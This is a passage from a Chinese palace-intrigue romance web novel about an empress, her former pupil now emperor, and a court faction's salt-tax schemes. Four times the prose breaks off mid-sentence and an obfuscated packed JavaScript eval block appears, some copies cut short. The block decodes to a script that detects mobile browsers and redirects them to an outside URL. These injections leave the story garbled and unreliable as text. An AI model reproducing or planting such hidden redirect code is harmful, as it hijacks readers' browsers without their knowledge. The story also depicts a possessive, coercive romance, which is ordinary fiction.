扳指内转了转,然后指着指腹那处示意她,“对着光看,可看到什么了?” 林乔峤如同见着了鬼魅。莹润如雪的扳指内侧,刻着个“鸣”字! “确是皇后的扳指无疑,皇后何故拿去当铺,可是朕亏待了你这个后宫之主?” 透过萧正则的表情、语态,容鹿鸣已明白接下去当如何去做。于是叩首再答:“回禀陛下,国库空虚,臣妾作为后宫之主,理应为陛下分忧。” “那么,分了多少忧呢?”萧正则玩笑般问。 “回禀陛下,白银两千两。” “是瑞隆当铺拿了扳指即刻给的?” “是,且皆是现银,由恒兴钱庄送来。” “林乔峤,你阿耶,不会正巧也与恒兴钱庄的老板相熟吧。”萧正则问道,语气颇耐人寻味,“刚刚朕忘了说,丁四自那当铺暗格中拿到的,还有你阿耶的手书数封,当铺、钱庄之事皆有牵涉其中。” 林乔峤不敢再说话了,阿耶有家地下钱庄就是借了恒兴钱庄的皮,一阴一阳,共同经营。 “来人,把林昭容送回毓舒宫,禁足一月,静思己过。将瑞隆与恒兴一并查封。” 林乔峤如发了场恶梦,已是站不起来,几乎是由女官抱了出去。 待人都去远了,萧正则走到容鹿鸣身边,弯腰,想扶起她。他想,她已跪了这么许久,也不知腿痛不痛。 容鹿鸣却仍是直直跪着。萧正则懂了她的意思。 “丁四,待禁足了林乔峤的消息一传出去,林舒涟那老狐狸自会放人。”萧正则强力把她拉起来,“但是,现在不是查京兆府府尹的时候。” 为何林乔峤以为自己抓住了容鹿鸣的错处,轻易就能调动京兆府的人? 懂的都懂。 “臣妾明白。”容鹿鸣仍低着头,半晌,问了句:“丁四可安好?” 萧正则牵住她的手,往画案那里走。刚刚做了出戏,他觉得有些倦。那些美丽的、满含算计的脸让他不无厌烦。 他想看看她的画。 边走边说:“朕先前听你提过丁四。不愧是容家军的人,京兆府的地牢里,什么手段没有,他竟都咬牙忍了,你的谋划,他没说出一个字。 身后美盼听了,一个趔趄,巧笑扶住了她。 萧正则猜到了什么,接着道:“忘筌趁夜潜入地牢看过,给他捎去些药。他底子好,并无大碍。” 话尾的余音落入沉默。容鹿鸣明白不得不如此,才能利用林乔峤设的陷阱反把她父女二人套住。可不得不做的事,并不一定是对的事。 她在画案前挣开萧正则的手,未执画笔,也未理一旁画了一半的地藏菩萨像,而是提起石杵,继续磨小石臼中的孔雀石。 石头被碾碎的声音和矿彩的淡腥味,这些都那么熟悉,在很久之前,萧正则离她很近,常装作看她制矿彩,实则在望她好看的背影。 此时此刻,他们离得更近,她身上的馨香静静染着他衣袖。可他却觉得,他们离得很远。 36. 难眠 “朕来吧。”萧正则去夺她手里的石杵。她肩伤又复发了,研磨这些坚硬的孔雀石无意于折磨。 容鹿鸣未松手,“是为画菩萨像用的,臣妾自己来便是。” 不一定真如此,萧正则想,她是在惩罚她自己。 “何必如此,他按住她的手。朕保证他无事,若你一直在我身边,”他有意停了一停,“容家亦可无事。” 话甫一出口,萧正则后悔了,一息间他确实动了这念头,但不该说出。君王不能轻易允诺。 容鹿鸣似是未察他心意,或者,她根本不信。 她巧妙地躲开了萧正则的手,令美盼去取来前几日集下的雨水,欲将孔雀石粉末澄一澄。 刚刚闹哄哄的殿内静下来,林乔峤那醉人的熏香也叫清风拂去。她又能畅快地呼吸了。捻了些孔雀石粉在指尖,搓了搓,颜色真美。 萧正则抚上她玉白的颈侧,迫她看向他。他想听她的答话。她微微跳动的血管在他指下,如一线紫菀花瓣。他想轻轻一嗅,或者,紧紧扣住。 她由是不得不看向萧正则,柘黄色盘金绣龙袍,衬得他英气勃发,这已不是当年曾日日跟在她身旁的人。 “容家人都经惯了生死,当为陛下戍守边疆,怎敢吝惜性命?”她说道。他刚刚的话大抵是出于冲动,爱美人胜过江山,他萧正则不是这样的人。 “丁四曾是容家军将士,也算半个容家人,你怎么如此在意他生死?”萧正则问,语气和他的抚摸一样温柔。 容鹿鸣躲不开,“美盼昨日与巧笑说,若丁四去了,她便终身不嫁,待日后随我去穹心阙凿石窟。”说罢,她笑了一笑。 “你现在还想着去穹心阙吗?”萧正则俯身,看进她眼里。 漆黑的带着恨意的眼睛。容鹿鸣惊得后退,却被他扣住后颈压进怀里。他扣得她生疼,语气却柔情极了:“我说过,你走不掉的,即便是死了,你的骨灰也得在我枕畔搁着,与我生同衾,死同穴。” 她挣不开他的怀抱,因此无法看着他的眼睛,知道他所言非虚,如同盟誓。 当夜,萧正则未留凤仪宫,容鹿鸣心生感激。离开时,他像是受了什么创痛,可受伤的明明是她。美盼取了雨水回来,两个小瓷钵发出细微声响,他立即放开她。 过了片刻,她才觉得后颈痛,已是留下了红红的指痕。他这么用力,竟是想把她生生揉进他襟怀。 福宁宫寝殿内,床前帷帐已换了颜色,与凤仪宫的同色。殿内熏着安神的龙涎。 杂事纷至沓来,涌向他,明日早朝,林舒涟定会上疏,且看他如何说。他要忍耐,如同狩猎,等这老狐狸露出更大破绽。 龙涎香过于浓了,夜风一会儿来一会儿不来,滴漏在静夜里剧烈地响……萧正则坐了起来,他睡不着。 凤仪宫守夜的小宫女刚打了个哈欠,不禁揉了揉眼睛,以为自己出现了幻觉。 萧正则推门而入,柘黄色圆领长袍,铜错金嵌松绿石带钩束住了细窄革带。披发未束,长睫映星眸,宛若从瑶台宴上逃了玉帝劝酒,微醺而归的仙人。 小宫女看得出了神,一时忘记该如何应对。 “陛下,陛下啊——”昙现终于跟了上来。 “嘘。”萧正则指指他们,要他们静静留在那儿。他径自朝凤仪宫的寝殿走去。 “昙现公公,这……这不合礼数。”小宫女唯唯诺诺。 “闭嘴吧你。”昙现一句多余的话都说不出来。 月色很亮,即便无星无月,他也能准确找到她的所在,近乎某种本能。 殿内守夜的女官也被惊动了,不待她们跪地行礼,萧正则只两个字:“出去。”声音不大,却不容置疑。 偌大的寝殿内,终于只剩他和容鹿鸣。 栀子香把这里浸透,夹杂一点类似青草的馨香,沁人心脾,让他一下子觉得倦了,觉得此处宁谧美好,可以栖息。 脚步不停,他光着的脚带着他往前走。 掀开她床前的帷帐,周遭倏忽间静了,诸事纷扰,皆叫这薄薄的帷帐挡在了外面。 他一步步走过去,静静坐到她床下。她闻上去像朵芬香的月色植物。 月光漫过来,像融化的银子。好像是烫的——他心里是烫的。 他想去触摸她清凉的眼睛。见她面朝内侧卧在榻上,是军中枕戈待旦的姿势。她在警惕些什么? 又靠近了些,他看见她颈后的指痕。心有悔意,他伸手去触摸。 像打碎了一面镜子,不,此那更快。容鹿鸣一瞬地翻身坐起,将萧正则压在身下,枕下锐利的红宝石簪子在她手中,抵上他咽喉。 “鸣鸣。”萧正则还笑得出来,抬手捧住她的脸,慢慢拉近,直到触到她玉白的鼻尖。 似梦似醒之间,容鹿鸣紧张极了,忘了松开那红宝石的簪子。 浓致的花香中沁入一丝不易察觉的血腥气。萧正则毫不在意,他想要深深地看进这双眼睛里,看一看她的心。 “别挣扎了……”他一使力,轻松把她压在身下。簪子在他颈侧留下一道红痕,血滴在她脸上,如雪中绽了朵梅花,他俯身吻去了,两手将她双腕按在头顶。 “老师,我说过的,我不再是当年那个孩子。” “别叫我老师!” 萧正则冶荡地笑了,“老师,现在我可以轻易地把你绑起来,做任何我想做的事。但我不会那样做。我会等。但如果你还想要离开……” 他清凉的鼻尖摩挲着她玉簪般的锁骨,擦向柔嫩颈侧,接着,狠狠吻了上去,类似噬咬——再微微喘息着,看着她的眼睛,“我也许会杀掉你,然后,同你死在一处。” “你疯了!” “我已经为老师你疯了很多年,只是,你从不知道。”他把头埋进她怀里,嗅着她好闻的气息,极快地,被倦意脱进了梦里。 容鹿鸣想给他一巴掌,如果在以前,他竟敢如此造次! 巴掌都伸出来了,到底,没能打下去。她先看到他柘黄色的缂丝龙纹便袍,是了,他已是皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不知他不是醉了,只是怕了——怕后宫偌大,困不住她。 “无妨。”萧正则心里胀胀的,他俯身,撩起她披散下来的乌发,丝缎一般,顺着他翻转的手掌滑动,继而,他抽过美盼捧来的簪子,为她簪好发髻。 “皇后为朕更衣吧。” 容鹿鸣自昙现手中接过帝王的朝服,缂丝刺绣,含而不露地重。一件件为萧正则穿上,她发现不知不觉间,他已高出她许多。她的脸正对着他胸口,要踮起脚,才能为他戴好冠冕。 她正要捧起通天冠,美盼捧了药来。昙现低声问道:“陛下,颈侧的伤……要不要请御医看看?” “不必,只是皇后不小心抓的,若传了御医,御史们……” 容鹿鸣立即两手并用去堵他的嘴,还是晚了一步,虽说是为了掩饰她误伤圣上的事,可也不必说得这么旖旎。殿中这么些宫女太监,这和直接告知御史有什么差别?多少折子又得戳到她脊梁骨上。 37. 隐于幕后 萧正则似是浑然不觉,双臂把人抱了个满怀。容鹿鸣收回手,想挣脱,却叫他一句话惊在当场。 “鸣鸣,怎么这么黏人呐。”他的侧脸贴上她鬓发。 见了鬼了!容鹿鸣心说,见一旁一个小宫女像是扫了她脖子一眼,满脸通红,局促地跪下了。 脖子,昨晚……不会留下什么痕迹吧。 “鸣鸣。”他在耳畔轻轻唤她,似是轻轻抱着,却暗中使着力,令她难以挣脱。 “该上朝了,朕去了。”他蹭了蹭她芬香的面颊。 一整个上午,凤仪宫的人都喜气洋洋。整个后宫都传遍了,很快,也会传到宫外。说皇上、皇后浓情蜜意、难舍难分……后面的话容鹿鸣实在听不下去,也不许宫内的人多说一个字。 众人多在艳羡帝后鹣鲽情深,容鹿鸣却不这样想。萧正则要动一动林党,自然要稍稍亲近容家,还得安抚安抚清流。 她又令人从御书阁抬回一箱《墨经》的古书简,接着一一整理。她本想亲自去那里察看,也可和弘文馆的学士互相探讨。奈何凤仪宫外蜚短流长,她揽镜自照时,又发觉颈侧萧正则留下的齿痕仍未消。 这若去了御书阁,路上不知还得被人怎么编排。 她叫美盼敞了门窗,把殿内的熏香俱换了,换做瑞脑。不一会儿,殿内便清透透的。她自用牛皮绳穿着书简,亦想着什么。 “巧笑,去备些果子和米酒,今晚,去文华殿。” 退了朝,回到文华殿中,萧正则饮了盏龙井,无端地对昙现说:“若皇后说起,你只说朕昨夜醉了。” “是。”昙现答,心中老大疑惑:陛下几乎从不饮酒,这是要……前来议事的几位尚书来了,昙现连忙退到一边。 夜色浓得正好,萧正则搁下笔,“容鹿鸣大抵快来了。”他默想,与她共谋真惬意,如同两个经常手谈的朋友。算是,朋友吧,他是她亲自教出来的。 殿前有细碎的脚步声渐近,未待小太监开口,萧正则示意让人进来。 容鹿鸣一身天青色朵花团窠对雁纹圆领袍,如一阵清爽的夜风,轻快地走进来。侍女美盼衣色轻红,提着漆金的多层食盒。 看过去,真不像是皇后进见,倒像是谁家千金出游踏青。 亦像很多年前,她带着他去逛东市、西市。常有富家子弟过来搭话,不待她说话,他常是将她手一挽,怒瞪过去。过后再谢罪:“刚刚唐突了老师。”她总笑着拍拍他肩膀,脸上带着种“吾家有徒初长成”的欣慰。 她从不多想,真的从不多想。 他有时候恨死她了,恨她这样。有时候又害怕,怕她知道了他的心思。 她大概不可能与他心心相印,除却礼制与身份,他感到自己抓不住她,她是一阵风,一段将明的夜色,或是流动不息的山野的清泉。 那时,他写信给她,在她还会回复的时候,字字相印,他觉得她如同就在身畔。有时,她分明在他身边,沉默时分,他会觉得与她相隔天涯。 萧正则看着容鹿鸣向自己走来,许多旧日时光重叠一处。他朝她伸出手,略有迟疑,她握住了他的手。 他牵她坐在身侧,那里已然备好一个红木带托泥五足圆凳。 容鹿鸣松开他的手,拍拍他手背。她今日在殿中绘墨竹图时蓦地咂摸出来了,他似乎还有些像小时候那样,需要不时安抚。 他驯服地松开手,静静坐着,待她打开食盒,三个秘色瓷莲花盘内,樱桃毕罗、红绫饼餤、黄杏果子,摆放雅致。 这三样果饼,是她当年常常自宫外带给他的。他总说好吃,她便以为他爱吃。其实,只要是她给的,他俱觉得美若肴馔。 “陛下批阅奏折至此间,想来辛苦,臣妾给陛下送来些点心,聊以解乏。” “鸣鸣有心了,不过,何以如此着装?” 容鹿鸣心说:“那能怨谁?宫中流言真是缠绵不堪听。她做此打扮趁夜而来,随便谁把她误认为哪宫求宠心切的嫔妃,只要不是众人皆望的皇后便可。反正文华殿里的人一向不敢多言。 她正准备答一句:“此服正映夏夜。”萧正则的手已攀上她玉色颈项,“怎把花钿绘于此处?” 容鹿鸣能怎么说,说那咬痕太显眼?她是真想一巴掌甩过去,打好这阴晴不定的逆徒。 忍了,她想,有另外的事要做。她侧过身,端出食盒底层的缠枝纹酒壶,亲手为萧正则斟了杯米酒,捧与他面前。 萧正则闻到酒味儿,皱了下眉。 昙现于一旁低声道:“皇后娘娘,陛下昨日醉得厉害,今日,不宜再饮。” “昨日饮了多少?” “陛下的酒量皇后娘娘还不知吗?堪堪饮了一盏驱乏,不想却醉了。” 容鹿鸣放下酒盏,看向萧正则,昨日他那般,看来,是真的醉的,明明说过不再饮酒的。 “把酒收了吧。”容鹿鸣对昙现说。“醉酒伤身,陛下可要保重龙体。” 她关切的神色不像装的,而他亦听出了她的言外之意。他不在意,只要她在他身侧。总有一天……他有的是耐心,虽偶有忧心,却常怀感激——她仍在他身边。 银箸贴手,萧正则夹了只樱桃毕罗,置于容鹿鸣盘中。 “鸣鸣近日也辛苦,暂时算是查清了林昭容之事,扣下了林家的一当铺一钱庄,抄出白银一百五十万两,已着人将一百万两运去北境做军费,二十万两拨去西北赈灾。外患内忧,北边这一块儿,不能乱。” 容鹿鸣先代身在北境领兵的兄长谢过恩,心中的忧虑忍了几忍,还是说了出口:“容臣妾僭越一问,林尚书朝堂上可为己辩白?” 萧正则以目光轻拂她面颊。他不愿她在凤仪宫内做个居士,她是他的皇后、他的老师,当与他共理国政。 “辩是辩了,惶急异常,垂泪当场,拉了他远房的一位表兄为他顶罪。” “朝中其余大臣……”她话未说完,他却是懂她想说的。 “工部尚书叶德邻率数位大臣于朝上发难,所列罪状林舒涟皆不认从,仅哭说自己未尽检束家人之则,愿代堂兄、小女受过。” 容鹿鸣看向他,表情毫不惊讶。 他咬了口樱桃毕罗,以下巴指了指龙书案上泾渭分明的两摞奏折。容鹿鸣懂了,叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703702|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德邻是清流之士中的股肱,经林乔峤引发的林家财务之事,已暗暗挑起林党与清流之间的又一次较量。 思量了片刻,容鹿鸣开口道:“仅是一间当铺加一间钱庄,便能抄出一百五十万两,比去年的盐税还多出许多,这林家私底下,恐怕不止这点家当。” “所以,后宫诸事务,还要鸣鸣多加看顾,特别是林昭容那里。” 容鹿鸣会意,“虽说是禁了她的足,臣妾会令人看紧毓舒宫,会让该流向宫外的书信去它该去的地方。” “甚好。”萧正则把自己的缠枝纹斗笠盏放到她手里,她就势饮了,如同盟友之间心照不宣的共饮。 “郁雾,臣妾前几日见她跟在叶昭仪身后,陛下可是调拨给了叶昭仪?” 萧正则微微颔首。 容鹿鸣刚入凤仪宫时,萧正则特地拨了郁雾来侍候她。她私底下不动声色地观察这女官,行事、言辞,和一些细微习惯。当年她为萧正则训练暗卫时,萧正则俱跟在她身边,学到不少。她看出一些熟悉的迹象,这女官应该是个暗卫——一个特殊的、阳光下的探子。 后来,萧正则推说文华殿侍茶的小太监不得力,便又把郁雾调回了文华殿。 郁雾一走,容鹿鸣短暂松了口气,萧正则这算是信她了? 没过几个月,她在茉莉花圃那又觑见了她,跟在叶言伽身后。当时油然而生一种古怪的感觉,未及细查。现在想来,她于朝中数次见过叶德邻,也颇为敬重他的为人,只是,他这女儿与他长得委实不像。隐约的预感挥之不去,她想,她需寻个机会见一见叶夫人。 想到这里,容鹿鸣开口说的,却是另一番话:“陛下可是对叶德邻另有安排?” “瞒不过鸣鸣,西南水患久治不利,我预备拨银三十万两,派他前去。” “臣妾明白,亦会替陛下拢好叶昭仪。” “户部那个曾令人特别优待林乔峤的侍郎,陈卓,我还未处置。” “陛下的意思是?” “西南水患,仅叶德邻恐怕不够,陈卓,一并去了,两人各领一半赈灾款、粮。” 萧正则的意图,容鹿鸣洞若观火,同样是赈灾,西北派了一人,西南却派了两人——一个林党,一个清流。因为北境在打仗,后方不能乱。 而南境呢,这安排怕不是要酝酿一场政斗? 见她久不言语,萧正则知她懂了自己的意图。 “老师当年和我说过的,乱中生静,静中生乱。 “臣——臣妾……”容鹿鸣不能听她这样喊,只觉羞愧难当。 “你是朕的老师,朕的皇后,这点,不会变。”他握住了她的脖子,抚摸那吻痕上绘就的花钿,拇指印上她殷红的嘴唇,像亲吻。“听说,你久不去滋兰苑摘虎头茉莉,只在你宫中掐着栀子,你这,可是变心了?” 萧正则俯身,停在一个略显冒犯的距离,白檀香漫过来,他的口吻如同情话,“鸣鸣,我的心意是不会变的,你的也别变……” 他见她变了脸色,惶恐中甚至带上了些祈求。 “容家,作壁上观就好。”他悠悠吐出这句话。 38. 不早朝? 当夜,容鹿鸣宿在文华殿。谈话到这个时刻,她若再回凤仪宫,只会更加显眼,不若第二日早早回去。 想到前一晚的情景,她坐在床榻之上望着萧正则的背影,到底是她自己教出来的人,她还是信他的。 待他也坐到床榻边上,她拔了根簪子安放柘黄色锦被中央,他一笑,懂了。 夜里,容鹿鸣睡得不甚安稳。她入后宫的本意是养伤亦养心,绝不过问朝政,要做个堪称楷模的质子,令萧正则对容家彻底放心。 可被他猛灌一通时局朝政,各人各派便在她心里的棋盘上动了起来,不眠不歇,衍生出数种结局。 听身侧的萧正则呼吸悠长,似有好梦,她心中那个恼恨! 文华殿的气息和凤仪宫不同,萧正则身上的白檀香很好闻。意识渐渐模糊,忽感到身侧有异动。 容鹿鸣伸手想安抚他,却被他一下枕住了手臂,唇角印上她脉搏。 她心中一烫,怕惊了他,自己缓缓平躺。 今夜月色不明,她在颤动的烛光中褪下腕上佛珠,于指间轻轻数。该做的,不该做的。能做的,不能做的。她心里都清楚。 吃一堑长一智,容鹿鸣这回学明白了,不待东边鱼肚白,她已悄然起身。萧正则枕着她的手臂不放,她猛得推他,反被他顺势扑进怀里。 也曾经有过这么一次,天不亮,她叫他起床习武,反被他拽倒在床沿。 她当时使劲弹了他脑门一下,他立即醒了,爬起来跪坐榻上,口称:“徒儿僭越。” 现在,她是动他不得。 巧妙地从他怀里钻出来,她示意守夜的美盼同她快走。 肩舆什么通通不要。文华殿后有条雨花石铺就的赏景小道,距凤仪宫不远。 “夜宿文华殿”,她可不要再被看到,外加“吻痕”“黏人”,这些旖旎的传闻,她沾都不想沾。 只是,她未留意,萧正则扑倒她时,唇角露了一点笑意。 “昙现,去,为皇后备好肩舆。” 容鹿鸣将将迈出文华殿,萧正则在她身后悄声说。 日头高悬,后宫之中,某种氛围晕染开来。都是寂寞的人,这传闻如一滴艳红花汁,落入静水中。 不论宫外如何煊赫,宫内,容鹿鸣常将自己隐没在沉寂里。那种被阻碍着的巨大好奇,反而让大家更想注视着她。 只听得传闻越传越盛,隐隐指向了“君王从此不早朝”。 萧正则浑然无觉,似乎很想容鹿鸣能日日前来,真的叫他不再早朝。 容鹿鸣提笔写了颜体工整的罪己诏,用典古雅、言辞流丽,御史们自叹弗如,伐挞她的折子渐渐息了。 对着萧正则,容鹿鸣不说也不辩。她明白,以林舒涟的城府,不会莫名纵容女儿林乔峤。无非是林党与清流又有一仗,他借机探一探皇上的态度,也试一试容家对此是否能够忍让。 真正是好大的颜面,容鹿鸣叹息。她不以为喜,反以为忧。 悍臣看陛下脸色,这很好,可在意容家态度,这便不好了。 她上的罪己诏,愿同林乔峤一般,被萧正则“各打五十大板”,配合君王的制衡之术,免得君王之疑加深。 也叫林舒涟息了疑心,林如柏好大力收了盐税,林党在西南也才好放开手脚,为所欲为——清流们大概都在隐忍以待,等着抓他们错处。 回想那次夜谈,萧正则说,西北不能乱,她深以为然。可他后面又加了句,令容家作壁上观。两句话连在一起,容鹿鸣腾起不好的预感。 儿时,她虽以儒、法两家教他,以期他将来能做个外儒内法的闲散藩王,远离政治中心,可以治理好自己的一方天地。而他内心深处的偏执和戾气令她莫可奈何,他更像个十足的法家信徒。 所以她曾有过不安,二皇子心怀悲悯,熟稔帝王之学,定是明君的不二人选。直到二皇子薨逝许久,她也未想过那坐上皇位的会是萧正则。 他是一柄太过冷峻的利刃,迫切地想要彻底革除时弊。可外患内忧之下,倘若过于峭直,恐生变乱。 事已至此,疽疮要一点一点剜,方才能不危及局势。 西南官场的形势在她脑中盘桓良久,要不要去信一封,她仍在犹豫。 转念一想,阿耶致仕的折子递了又递,久不见恩准。兄长又戍守国门。容家立在一种微妙的平衡之上,若日后能成功交了权柄,便可如自家的百年古园般,静成一道风景。若是不能……阿耶年老,为兄长手刃身后那些朝中“暗鬼”的责任,早晚在她肩上。 若兄长战死沙场——她从不逃避想到这些,那她还有什么理由留在这里?或许,她自己也当死在战场上。 权力本若水,到底是流动的,皇权立于这水的源头之上。容家清楚这些,不像那些已然陨落的世家。但站得太高,累世的威望当敛住力量、有所防备,再缓缓放手,甩给那些环伺的权欲之徒。 然后,容家会缓缓步入王朝的背景中,诗书兴业,待身上重权留下的痕迹淡去,不论王座上坐的是谁,再一步步走上庙堂。 月满则亏。当权力的尺度加诸家族,便如刀刃。 容鹿鸣在凤仪宫静思己过,以颜体默书《老子》。不写狂草,狂草让她心绪难静。 昙现一早来送新摘的虎头茉莉,见此,忙求了一张。 萧正则的原话是:“皇后大抵是在写字,不论写的是什么,取一张回来。” 容鹿鸣搁下笔,去莳弄漆盘中的虎头茉莉,让昙现随意拿取。 白的瓣儿映在黑漆的托盘中,如一大捧雪,芳香沁人。她轻轻拨动花瓣,心里颇不宁静的地方柔缓了下来。 这回的花与往日不同,仅一支,长梗,梗上系着张卷好的柔软绢纸。 “昙现公公,这是?”容鹿鸣转头问道。 “花是陛下亲自摘的。绢纸请娘娘亲自打开来看吧。” 容鹿鸣依言打开,是幅小品,墨竹图,笔触疏淡清雅,韵致悠然,颇见功力。是萧正则画的,她认得出。 多年来,她唯爱竹与茉莉。他种了许多茉莉,画过许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那张白纸和栀子一道送去后,萧正则不再送茉莉来。容鹿鸣心中猛得一静。她不喜欢事物脱离掌控,即便是何处突地开了朵花,她也是事先看过了花枝,发觉了那骨朵。 她不喜欢太过剧烈地变化。 收起龙泉剑,她沐浴更衣,坐回书案前继续写《老子》。 美盼歪过头来看,“皇后娘娘,这是?” 容鹿鸣捏着象牙杆的狼毫,写得颇有生趣。 “你看像什么?” “奴婢愚钝,看上去,有些像大篆,怎么又有些像草书呢?” 容鹿鸣闻言只笑,草体写大篆,看过去另有趣味。 “巧笑。” “奴婢在。” “毓舒宫的事,可都安排好了?” “回皇后娘娘的话,皆已安排好了。” “好。”容鹿鸣停下笔。 39. 乱局(一) 昨日,林乔峤病了,说是幼时隐疾犯了,必得尚书府中的一味药丸可医。 萧正则显出极大的关切,令尚书府今日遣人入宫送药。 容鹿鸣却知道,昨日萧正则探望林乔峤走后,林乔峤立即写了封信,预备寄给她兄长林如柏。 信的内容容鹿鸣亦知晓,她在林乔峤身边安了个容家故人。事已至此,她以为,林乔峤总会隐晦地和她兄长说些什么——她看上去野心勃勃,实在不像对家中之事全然不知。 然而,得知那信的内容后,容鹿鸣反是一叹,仅是小妹对兄长的思念,对现下处境的委屈和抱怨……与十几岁时,初到南境扛起大任时的自己很像,容鹿鸣想。 连带的,她想起些坊间传闻,作为“京中三公子”之一的林如柏,两件事最出名,一是苦恋容鹿鸣不得,二是自小疼爱妹妹。若这样一封满含委屈的书信送到林如柏手中,令他知晓圣心、心疼妹妹,会不会触动他做出什么事情来呢? 不妨试一试,容鹿鸣想,亦念起一路走来,兄长为她做过的许多事。 若果林如柏、林党在盐税上做什么手脚,影响到北境战场的军需,萧正则那句“容家作壁上观”,她是不会遵守的,定叫林党付出代价。 至于林乔峤,容鹿鸣在脑中细细琢磨着这个人。 “巧笑,你现在去,装作要回相府取东西,等在宫禁处,亲自把那林府送药的人送出宫,免得林乔峤那封信叫人搜了出来。” 巧笑面露迟疑。 “快去吧,这个林昭容,有艳色,有野心,然出手急切,不若她林家人那般周密细腻。若要成事,我们,还得助她一助。” 萧正则为朝政所扰,不得清闲。下了朝,见龙书案折着张宣纸,摊开来看,先是一愣,继而笑了。笑罢对昙现说:“你现在去,把凤仪宫给我锁紧了,连光都不许放进去。” 昙现听罢,半天不敢应。 萧正则怎么会瞧不出来,这分明是容鹿鸣的笔触。他在这日理万机,她倒好,还琢磨出种新的书法字体——狂草写大篆,确实疏落洒脱,引人玩味,可是,她都不会忧心吗? 他令人监看着她的书信,近日里,容雅歌未有书信寄来。她不忧心她北境做战的兄长,他觉得这很好。 可她也不忧失去圣宠,甚而说,她丝毫不忧心他! 她令人送来的空白澄心堂纸已叫他揉皱了。他自诩多年相伴,他算是了解她的,可犹猜不透她心思。 初夏时节,沿运河南下,风景犹美,清风叫水汽润过了,每一缕都能吹到人心里。 林如柏这一趟巡盐顺利极了。几地的地方官、盐政官几乎俱是林舒涟的门生故旧,或是门生的门生,见林家公子亲自来了,哪里还有敢隐瞒税务的?连账目都为林如柏对得清清楚楚,账目与所交现银,绝不差分毫。 但林如柏却觉得倦。他不想出席那些没完没了的宴请,只想一个人静静的,喝一碗晩米稀粥。 这日晚宴,地方上几位大儒皆来作陪。 蟹白烧乌青菜、鸭肝泥酿怀山药、鲫鱼脑烩豆腐、翅唇参燕,清炖河豚——新从江阴运来的…… 这一桌非时非地清淡而名贵的菜肴,足以见出主人的贴心奉承。林如柏略略动了动筷,与主桌众人诗画、儒学,相谈甚欢。 散席后,林如柏婉拒了送他回驿馆的马车,他猜到,那里定有与前几日不同的佳人在候着他。几个地方官,一听到他要来,把几处驿馆都整修了一番。不好做的太显眼,只着力把他将住的那间精细地修了。外面看不出如何豪奢,一推门,却如同进了如意楼的天字一号间。 起初的文人般的骄矜自喜很快过去。他感到不畅快。就像他虽为“京中三公子”之一,却既不如登基前的陛下,亦不如御敌国门的容雅歌。 连殿试上取得的探花,都是容鹿鸣让给他的。令他在纷至沓来赞誉中不时感到挫败,不时感到,不那样真实,像晚梦时突醒的一丝惊战。 他极力想做些什么,让自己不仅仅是林舒涟的独子,更是个称职的朝廷重臣。 但浸泡在权势带来的裕如中,很多时候他会懒怠,就如此刻,借着父亲名号出来巡盐,轻轻松松,收足五百万两,归朝必有嘉奖,荣耀万分。 换做旁人,得多少年摸爬摔打,他轻松便能获得。锦衣荣光,乐享就好,但越是在那些光耀满眼的时刻,容鹿鸣的面影就越容易刺入他脑海。 连阿耶林舒涟都觉得,他略带夸饰地向容鹿鸣求亲是在做戏,可在心里深处,他真的希求容鹿鸣能嫁他。 未曾想到,京中多少贵女想嫁他,只是,除了容鹿鸣。上一回见到她,她自南境返京,还未嫁萧正则。朝堂之上,她虽立于武官之列,国策之事,先帝有时亦会垂问于她。 她之应答切中要害,常得先帝与太子赞赏。 朝中之人甚少在朝房谈及她与容雅歌,偶尔提到,连那群刀笔吏也都暗含敬重。众人称她容少将,不是容娘子,也不常提她显赫的家世。不像他,总被称作林尚书家的公子。 犹记得那回散了朝,往宫外走。他们离得不远,他闻到她身上浓重的药味儿,她看上去举止如常,脸色却很是苍白。 “伤好些了吗?”他走在她身边,隔着一人的距离。 “好些了,谢过挂心。”她侧身颔首。 他见她明显的瘦了,眼神却越发明亮有力。如同她心间有一团光耀,要透过眼眸映照出来。映照于他官服之下枯败的肢体。 他已在阿耶的照拂下做过工部、户部侍郎,听阿耶的意思,下一任户部尚书可得是他。 他迷醉在一种光晕里,自觉已熟稔官场,看透了“水至清则无鱼”。可见了容鹿鸣,他一下子明白什么是以身谋国,自己不过算是个膏粱子弟。 “伤好了还回南境战场吗?”他明知那答案,却还是问了。 “等不及伤好了,后日便走。”她朝他笑了一笑,似是说了句什么,当时直刺他心,此刻却怎么也想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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进如柏随他出仓,见岸上两队都督府亲兵,一队值守,一队正搬着税银往他们身后的船上放。 这本是一早定下来的,没什么好意外。可林如柏发现,那税银不是放在一艘船上,而是一大一小两艘船。 “侍郎这就起身吧,路上只管吟风弄月,水乡中安个好梦。余下之事,林尚书早有示下,奴才们必会照办,定不牵累于侍郎。 那管事的长揖罢,后退了几步,方才下了船。 